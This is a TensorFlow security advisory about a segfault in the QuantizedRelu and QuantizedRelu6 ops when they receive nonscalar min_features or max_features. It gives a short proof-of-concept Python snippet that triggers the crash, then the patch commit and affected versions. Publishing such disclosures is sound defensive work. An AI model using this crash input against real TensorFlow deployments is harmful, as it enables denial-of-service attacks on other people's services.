TensorFlow vulnerable to segfault in `QuantizedRelu` and `QuantizedRelu6`
Impact
If QuantizedRelu or QuantizedRelu6 are given nonscalar inputs for min_features or max_features, it results in a segfault that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
out_type = tf.quint8
features = tf.constant(28, shape=[4,2], dtype=tf.quint8)
min_features = tf.constant([], shape=[0], dtype=tf.float32)
max_features = tf.constant(-128, shape=[1], dtype=tf.float32)
tf.raw_ops.QuantizedRelu(features=features, min_features=min_features, max_features=max_features, out_type=out_type)
tf.raw_ops.QuantizedRelu6(features=features, min_features=min_features, max_features=max_features, out_type=out_type)
`
Patches
We have patched the issue in GitHub commit [49b3824d83af706df0ad07e4e677d88659756d89](https://github.com/tensorflow/tensorflow/commit/49b3824d83af706df0ad07e4e677d88659756d89).
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
